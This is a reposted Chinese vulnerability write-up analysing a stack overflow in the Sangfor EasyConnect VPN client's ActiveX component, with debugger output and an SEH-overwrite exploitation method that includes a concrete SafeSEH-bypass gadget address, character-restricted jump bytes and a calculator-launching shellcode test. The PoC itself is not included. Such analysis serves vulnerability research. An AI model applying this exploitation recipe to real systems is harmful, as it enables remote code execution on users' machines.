深信服科技EasyConnect vpn 0day漏洞分析与利用 - 图文

更新时间:2023-11-13 16:35:01 阅读量: 教育文库 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

深信服科技EasyConnectVpn 0day漏洞分析与利用

环境: xp sp3

浏览器: xp sp3 自带的ie6

(安装install程序,程序目录C:\\Program Files\\Sangfor\\SSL)

一、先用windbg加载poc(c:\\11.htm)

然后g运行程序,出现异常,异常情况如下: 0:000> g

(830.fb8): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0000004a ebx=022cde82 ecx=0013e140 edx=00140000 esi=0013df00 edi=0013e140

eip=77c12332 esp=0013dea0 ebp=0013deac iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 msvcrt!wscanf+0x6c:

77c12332 8802 mov byte ptr [edx],al ds:0023:00140000=41 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\\Program Files\\Sangfor\\SSL\\ClientComponent\\CSClientManagerPrj.dll -

然后kv 查看异常时的堆栈情况,猜测出现异常的模块CSClientManagerPrj.dll。 异常处的代码:

0:000> u msvcrt!wscanf+0x6c msvcrt!wscanf+0x6c:

77c12332 8802 mov byte ptr [edx],al //此处发生异常

77c12334 ff01 inc dword ptr [ecx] 77c12336 0fb6c0 movzx eax,al

77c12339 eb0c jmp msvcrt!wscanf+0x81 (77c12347) 77c1233b 0fbec0 movsx eax,al 77c1233e 51 push ecx 77c1233f 50 push eax

77c12340 e818c9ffff call msvcrt!_flsbuf (77c0ec5d)

使用IDA打开CSClientManagerPrj.dll,定位到偏移0x46c0处,

猜测出现异常可能是因为sprintf的问题。 二、使用OD打开poc文件

F9运行,ie弹出Active警告,暂时先不运行,在OD中Ctrl + g 定位到出现异常的代码处,地址:77c12332

当然你可以看到CSClientManagerPrj+0x46c0处的代码

不过这对后面的分析已经无关紧要了。 一直F9,执行到

77c12332 8802 mov byte ptr [edx],al

后,一直F9,会发现我们poc中的字符串被逐个放到内存上(堆栈)

一边F9一边你观察内存数据变化,在内存数据覆盖到0013ffed时,此时注意慢点执行,在执行几次F9,观察edx的值,当edx值为0014000时,出现异常(即windbg中异常时edx的值)。为什么edx = 0014000时会出现异常呢,我们看下内存

由上如图可知,140000开始3000大小的内存空间是只读属性,所有 mov byte ptr [edx],al 时发生了写异常。

由此我们可以判断漏洞形成的原因是:

因为未对字符串的长度做判断,导致在sprintf时字符串覆盖到只读区域,引发了写异常。 三、漏洞利用:

由上分析可以,造成漏洞的原因并不是字符串过长覆盖函数返回地址,而是覆盖了到了只读区域,出现内存写异常。 在F9执行

77c12332 8802 mov byte ptr [edx],al 我们可以翻看下堆栈附近的变化

可知字符串覆盖了异常栈上的异常处理链。OD产看seh链

可知覆盖的异常处理正是当前函数异常时对应的异常处理函数。 因为在xp sp3下需绕过safeseh,构造堆栈数据如下:

在调试跟踪时,发现大于7f的数据在复制到内存中时,会发生变化,即非可见字符是不能被直接存放到内存中的,猜测可能是字符在ascii ->unicode->ascii时发生了变化,所以在构造堆栈时,所有数据都必须是小于7f的即可见字符。 使用OD查找程序中No SafeSeh 的模块。

EasyConnect vpn的几个模块都是关闭SafeSeh的。使用Ollyfindaddr查找pop pop ret

查找结果很多,从中选择一个全小于7f的地址

10013439 Found:POP EDI POP ESI RETN at 0x10013439 Module: C:\\Program Files\\Sangfor\\SSL\\ClientComponent\\SSOClientPrj.dll

由于数据要小于7f,所以jmp 06 (eb 06)也不能使用了,为了能保证程序跳到我们的shellcode,这里使用jnz 06 jz 04(75 06 74 04)

Jnz 06 jz 04 0x10013439 纯字符shellcode

我们这里使用弹框计算器的shellcode,测试效果见poc.gif

本文来源:https://www.bwwdw.com/article/jaev.html

Top